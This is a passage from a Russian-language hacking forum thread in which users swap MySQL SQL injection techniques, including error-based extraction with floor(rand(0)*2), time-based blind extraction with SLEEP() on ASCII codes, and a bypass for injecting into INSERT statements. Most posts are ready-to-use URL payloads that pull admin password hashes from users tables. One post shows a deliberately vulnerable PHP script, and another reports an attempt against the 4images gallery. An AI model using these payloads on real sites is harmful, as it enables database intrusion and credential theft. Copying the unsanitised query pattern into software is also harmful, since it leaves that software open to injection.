    31
    Likes Received:
    0
    Reputations:
    0
    testiruju na 4images s dirkoy na blin sql injection , rezultat nulevoy !!! moj zapros ne tak delau ?



    C:\root\php>php.exe -f test.php http://localhost/gallery/categories.
    php?cat_id= user_password 4images_users
    Generating templates................ [OK]
    Getting keywords................ [OK]
    Filtering keywords................ [OK]
    Sending queries................................ [OK]
    Getting value: [DONE]
     
  15. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Это не альтернатива. С помощью find_in_set и ей подобных мы получаем не 0 или 1...

    Можно заместо запросов типа
    Code:
    select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
    использовать, к примеру, более короткий
    Code:
    select conv('a',16,10)+1
    С помощью функции CONV можно получать значения [0-9a-z], но не более того. так как максимально возможное значение базы системы счисления для нее равно 36.
     
    #15 cr0w, 27 Dec 2009
    Last edited: 28 Dec 2009
    2 people like this.
  16. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Вывод данных в ошибке для MySQL>=4.1

    Дмитрий Евтеев допилил мой вариант вывода данных в ошибке через рандом, чтобы вывод ошибки был в 100% случаев.

    Вот запрос выводящий данные всегда:
    Code:
    select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;
    Источник: http://qwazar.ru/?p=7#comment-8378

    P.S.
    Различия в том, что в функцию rand() передаётся аргумент 0.
     
    1 person likes this.
  17. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Удобно использовать вышеописанный способ Qwazar'a с рэндомом, эксплуатируя сценарии запросами такого вида:
    Code:
    ?sql.php=1 or (select count(*) from [COLOR=YellowGreen]table[/COLOR] group by concat([COLOR=YellowGreen]version()[/COLOR],floor(rand(0)*2)))-- 
    Таблица table здесь - любая доступная для чтения таблица, содержащая более 2х записей, либо можно вписать вместо нее подзапрос с алиасом:
    Code:
    ?sql.php=1 or (select count(*) from [COLOR=YellowGreen](select 1 union select 2 union select 3)x[/COLOR] group by concat([COLOR=YellowGreen]version()[/COLOR],floor(rand(0)*2)))-- 
    А в таблице, с которой читаем инфу, может быть любое число записей.
     
    #17 cr0w, 2 Jan 2010
    Last edited: 3 Jan 2010
    2 people like this.
  18. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    При использовании способа с rand'омом в order by, обнаружилась такая вещь (тестил в 5.0.45-community-nt): если извлекать данные из колонки, напимер, типа VARCHAR и размерностью >153, то ошибки в запросе не возникает, он нормально выполняется, и мы не получаем нужных нам данных. Решить эту проблему можно, например, урезав извлекаемые данные с помощью SUBSTR (или MID). Таким образом, лучше использовать данный способ примерно в такой манере:
    Code:
    script.php?sql=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat([COLOR=YellowGreen]mid([/COLOR](select pass from users limit 1)[COLOR=YellowGreen],1,64)[/COLOR],floor(rand(0)*2)))--
    Да, и не забывайте, что в выводимой строке, последний символ, еденица, это результат выполнения floor(rand(0)*2) - к извлекаемым данным он никакого отношения не имеет (у Qwazar'a в примерах он отделен, у меня - нет). (;

    И еще одна небольшая фича, которая кому-то может пригодиться при использовании этих методов когда SQLI в INSERTе. Например, имеется уязвимый скрипт такого плана:
    PHP:
    <?php 
    mysql_connect
    ("localhost""root"""); 
    mysql_select_db ('test'); 

    $rеz mysql_query ("INSERT INTO users (name,pass) VALUES ('" $_REQUEST[name] . "','" $_REQUEST[pass]. "');") or die (mysql_error()); 
    ?>
    Если мы попробуем в подзапросе прочесть данные из той же таблицы, в которую осуществляется insert:
    Code:
    test.php?name=lala',(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))))--+
    MySQL не позволит этого сделать, выдав ошибку:
    Code:
    You can't specify target table 'users' for update in FROM clause
    Обходится это ограничение очень просто:
    Code:
    test.php?name=lala',([COLOR=YellowGreen]select*from([/COLOR]select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))[COLOR=YellowGreen])z[/COLOR]))--+
     
    #18 cr0w, 4 Jan 2010
    Last edited: 5 Jan 2010
    6 people like this.
  19. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Использование sleep() вместо benchmark() (32 запроса на md5)

    Зачастую встречаются sql-инъекции, в которых нет ни вывода полей, ни вывода ошибок.
    В таких случаях применяют find_in_set() и ей подобные.
    Я предлагаю ввести новую альтернативу для пятой ветки mysql - sleep().

    Рассмотрим следующий запрос:

    Code:
    SELECT SLEEP((SELECT substring(version(),1,1)))
    Здесь будет задержка 5 секунд (работаем с пятой веткой) + уйдёт время на выполнение самого запроса.
    Если сначала посмотреть, сколько уходит времени на получение ответа от сервера на запрос без задержки, можно точно узнать первый символ одним запросом.
    А учитывая то, что обычно сервер выполняет запрос меньше, чем за одну секунду, можно брать просто целую часть от времени ответа сервера.

    Теперь посмотрим, как вытаскивать символы. Предлагаю делать это с помощью ASCII-кодов:

    Code:
    SELECT SLEEP((SELECT ascii(substring((SELECT password FROM users LIMIT 1,1),1,1)))/50)
    В данном запросе задержка будет равна одной пятидесятой от кода символа в секундах.
    В зависимости от того, как быстро сервер возвращает ответы без задержки, можно варьировать это число во избежание ошибки.

    Таким образом, на 1 md5() хеш потребуется ровно столько запросов, сколько в нём символов - 32.

    Теперь о плюсах и минусах:

    + Рекордные 32 запроса на md5()
    + Не требует вывода ошибок
    - Работает лишь начиная с MySQL 5
    - Возможны погрешности, если сервер перегружен

    Надо отметить, что минусы не так существены, как плюсы - старые ветки MySQL уже отмирают, а погрешностей можно избежать, меняя знаменатель в функции SLEEP().

    P.S. PoC-эксплойта пока не имеется, надеюсь скоро будет.
     
    #19 Root-access, 7 Jan 2010
    Last edited: 7 Jan 2010
    5 people like this.
  20. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
    1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост.
    2. Разное время передачи данных между сервером и клиентом
    3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом.
    Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло.